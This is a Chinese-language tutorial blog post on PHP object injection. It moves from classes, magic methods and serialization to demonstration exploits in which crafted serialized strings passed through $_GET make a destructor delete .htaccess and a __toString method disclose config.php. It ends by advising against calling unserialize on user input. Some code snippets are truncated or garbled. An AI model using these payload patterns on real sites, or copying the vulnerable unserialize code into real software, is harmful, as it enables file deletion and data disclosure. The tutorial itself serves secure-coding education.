作者 wujunze 2016.02.26 22:20:00
写了41篇文章,回复382人,

深入理解PHP对象注入

0x00 背景

php对象注入是一个非常常见的漏洞，这个类型的漏洞虽然有些难以利用，但仍旧非常危险，为了理解这个漏洞，请读者具备基础的php知识。

0x01 漏洞案例

如果你觉得这是个渣渣洞，那么请看一眼这个列表，一些被审计狗挖到过该漏洞的系统，你可以发现都是一些耳熟能详的玩意（就国外来说）

WordPress 3.6.1

Magento 1.9.0.1

Joomla 3.0.3

Ip board 3.3.5

除此之外等等一堆系统，八成可能大概在这些还有其他的php程序中还有很多这种类型的漏洞，所以不妨考虑坐下喝杯咖啡并且试着去理解这篇文章。

0x01 PHP类和对象

类和变量是非常容易理解的php概念，打个比方，下面的代码在一个类中定义了一个变量和一个方法。

```
1  <?php
2
3  class TestClass
4  {
```

```
    // A simple method

    public function PrintVariable()
    {
        echo $this->variable;
    }
}

// Create an object

$object = new TestClass();

// Call a method

$object->PrintVariable();

?>
```

它创建了一个对象并且调用了 PrintVariable 函数，该函数会输出变量 variable。

如果想了解更多关于php面向对象编程的知识 请点： http😔/php.net/manual/zh/language.oop5.php 0x02 php magic方法

php类可能会包含一些特殊的函数叫magic函数，magic函数命名是以符号“__”开头的，比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。

这些函数在某些情况下会自动调用，比如:

__construct 当一个对象创建时调用 (constructor) __destruct 当一个对象被销毁时调用 (destructor) __ to String当一个对象被当作一个字符串使用

为了更好的理解magic方法是如何工作的，让我们添加一个magic方法在我们的类中。

```
<?php
  class TestClass
  {
  // 一个变量public $variable = 'This is a string';// 一个简单的方法

  public function PrintVariable()
  {
  echo $this->variable . '<br />';
  }

  // Constructor

  public function __construct()
  {
  echo '__construct <br />';
  }

  // Destructor

  public function __destruct()
  {
  echo '__destruct <br />';
  }

  // Call

  public function __toString()
  {
```

```
32
33    // 创建一个对象
34    // __construct会被调用
35
36    $object = new TestClass();
37
38    // 创建一个方法
39    // 'This is a string' 这玩意会被输出
40
41    $object->PrintVariable();
42
43    // 对象被当作一个字符串
44    // __toString 会被调用
45
46    echo $object;
47
48    // End of PHP script
49    // php脚本要结束了， __destruct会被调用
50
51    ?>
```

我们往里头放了三个 magic方法，__construct, __destruct和 __toString，你可以看出来，__construct在对象创建时调用， __destruct在php脚本结束时调用，__toString在对象被当作一个字符串使用时调用。

这个脚本会输出这狗样：

```
1  __construct
2  This is a string
3  __toString
4  __destruct
```

这只是一个简单的例子，如果你想了解更多有关magic函数的例子，请点击链接

0x03 php对象序列化

php允许保存一个对象方便以后重用，这个过程被称为序列化，打个比方，你可以保存一个包含着用户信息的对象方便等等重用。

为了序列化一个对象，你需要调用 “serialize”函数，函数会返回一个字符串，当你需要用到这个对象的时候可以使用“unserialize”去重建对象。

让我们在序列化丢进那个例子，看看序列化张什么样。

```
1  <?php
2  // 某类class User
3  {
4  // 类数据public $age = 0;
5  public $name = '';
6
7  // 输出数据
8
9  public function PrintData()
10 {
11 echo 'User ' . $this->name . ' is ' . $this->age
12 . ' years old. <br />';
13 }
14 }
15
16 // 创建一个对象
17
```

```
21
22  $usr->age = 20;
23  $usr->name = 'John';
24
25  // 输出数据
26
27  $usr->PrintData();
28
29  // 输出序列化之后的数据
30
31  echo serialize($usr);
32
33  ?>
```

它会输出

```
1  User John is 20 years old.
2  O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
```

你可以看到序列化之后的数据中 有 20和John，其中没有任何跟类有关的东西，只有其中的数据被数据化。

为了使用这个对象，我们用unserialize重建对象。

```
1  <?php// 某类class User
2  {
3  // Class datapublic $age = 0;
4  public $name = '';
5
6  // Print data
7
8  public function PrintData()
9  {
10 echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
11 }
12 }
13
14 // 重建对象
15
16 $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'
17
18 // 调用PrintData 输出数据
19
20 $usr->PrintData();
21
22 ?>
```

着会输出

```
1  User John is 20 years old
```

0x04 序列化magic函数

magic函数constructor (__construct)和 destructor (__destruct) 是会在对象创建或者销毁时自动调用，其他的一些magic函数会在serialize 或者 unserialize的时候被调用。

__sleep magic方法在一个对象被序列化的时候调用。 __wakeup magic方法在一个对象被反序列化的时候调用。

注意 __sleep 必须返回一个数组与序列化的变量名。

```
public $variable = 'BUZZ';
public $variable2 = 'OTHER';public function PrintVariable()
{
echo $this->variable . '<br />';
}public function __construct()
{
echo '__construct<br />';
}

public function __destruct()
{
echo '__destruct<br />';
}

public function __wakeup()
{
echo '__wakeup<br />';
}

public function __sleep()
{
echo '__sleep<br />';

return array('variable', 'variable2');
}
}

// 创建一个对象，会调用 __construct

$obj = new Test();

// 序列化一个对象，会调用 __sleep

$serialized = serialize($obj);

//输出序列化后的字符串

print 'Serialized: ' . $serialized . <br />';

// 重建对象，会调用 __wakeup

$obj2 = unserialize($serialized);

//调用 PintVariable，会输出数据 (BUZZ)

$obj2->PrintVariable();

// php脚本结束，会调用 __destruct

?>
```

这玩意会输出：

```
__construct
__sleep
Serialized: O:4:"Test":2:
{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";}
__wakeup
BUZZ
__destruct
__destruct
```

你可以看到，我们创建了一个对象，序列化了它（然后__sleep被调用），之后用序列化对象重建后的对象创建了另一个对象，接着php脚本结束的时候两个对象的__destruct都会被调用

0x05 php对象注入

现在我们理解了序列化是如何工作的，我们该如何利用它？事实上，利用这玩意的可能性有很多种，关键取决于应用程序的流程与，可用的类，与magic函数。

记住序列化对象的值是可控的。

你可能会找到一套web程序的源代码，其中某个类的__wakeup 或者 __destruct and其他乱七八糟的函数会影响到web程序。

打个比方，我们可能会找到一个类用于临时将日志储存进某个文件，当__destruct被调用时，日志文件会被删除。然后代码张这狗样。

```
public function LogData($text) { echo 'Log some data: ' . $text . '<br />'; file_put_contents ($this->filename, $text, FILE_APPEND); } // Destructor 删除日志文件 public function __destruct () { echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE_ _) . '/' . $this->filename); } } ?>
```

某例子关于如何使用这个类

```
<?php
include 'logfile.php';// 创建一个对象$obj = new LogFile();

// 设置文件名和要储存的日志数据

$obj->filename = 'somefile.log';
$obj->LogData('Test');

// php脚本结束啦，__destruct被调用，somefile.log文件被删除。

?>
```

在其他的脚本，我们可能又恰好找到一个调用“unserialize”函数的，并且恰好变量是用户可控的，又恰好是$_GET之类的什么玩意的。

```
<?php
include 'logfile.php';// ... 一些狗日的代码和 LogFile 类 ...// 简单的类定义

class User
{
// 类数据

public $age = 0;
public $name = '';

// 输出数据

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 重建 用户输入的 数据

$usr = unserialize($_GET['usr_serialized']);

?>
```

所以构造类似这样的东西：

```
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}
```

究竟发生了什么呢，因为输入是可控的，所以我们可以构造任意的序列化对象，比如：

```
<?php$obj = new LogFile();
$obj->filename = '.htaccess';echo serialize($obj) . '<br />';?>
```

这个会输出

```
O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}
__destruct deletes ".htaccess" file.
```

现在我们将构造过后的序列化对象发送给刚才的脚本：

```
script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";
```

这会输出

```
__destruct deletes ".htaccess" file.
```

现在 .htaccess 已经被干掉了，因为脚本结束时 __destruct会被调用。不过我们已经可以控制“LogFile”类的变量啦。

这就是漏洞名称的由来：变量可控并且进行了unserialize操作的地方注入序列化对象，实现代码执行或者其他坑爹的行为。

虽然这不是一个很好的例子，不过我相信你可以理解这个概念，unserialize自动调用 __wakeup 和 __destruct，接着攻击者可以控制类变量，并且攻击web程序。

0x06 常见的注入点

先不谈 __wakeup 和 __destruct，还有一些很常见的注入点允许你利用这个类型的漏洞，一切都是取决于程序逻辑。

打个比方，某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出（echo $obj），而且其他类也可能定义了一个类允许__toString读取某个文件。

```
<?php
// … 一些include ...class FileClass
{
// 文件名public $filename = 'error.log';

//当对象被作为一个字符串会读取这个文件

public function __toString()
{
return file_get_contents($this->filename);
}
}

// Main User class

class User
{
// Class data

```

```
// 允许对象作为一个字符串输出上面的data

public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'
}
}

// 用户可控

$obj = unserialize($_GET['usr_serialized']);

// 输出 __toString

echo $obj;

?>
```

so,我们构造url

```
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"Joh
```

再想想，如果我们用序列化调用 FileClass呢

我们创建利用代码

```
<?php$fileobj = new FileClass();
$fileobj->filename = 'config.php';echo serialize($fileobj);?>
```

接着用生成的exp注入url

```
script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.p
```

接着网页会输出 config.php的源代码

```
<?php$private_data = 'MAGIC';?>
```

ps:我希望这让你能够理解。

0x07 其他的利用方法

可能其他的一些magic函数海存在利用点：比如__call 会在对象调用不存在的函数时调用，__get 和 __set会在对象尝试访问一些不存在的类，变量等等时调用。

不过需要注意的是，利用场景不限于magic函数，也有一些方式可以在一半的函数中利用这个漏洞，打个比方，一个模块可能定义了一个叫get的函数进行一些敏感的操作，比如访问数据库，这就可能造成sql注入，取决于函数本身的操作。

唯一的一个技术难点在于，注入的类必须在注入点所在的地方，不过一些模块或者脚本会使用“autoload”的功能，具体可以在这里了解

0x08 如何利用或者避免这个漏洞

别在任何用户可控的地方使用“unserialize”，可以考虑“json_decode“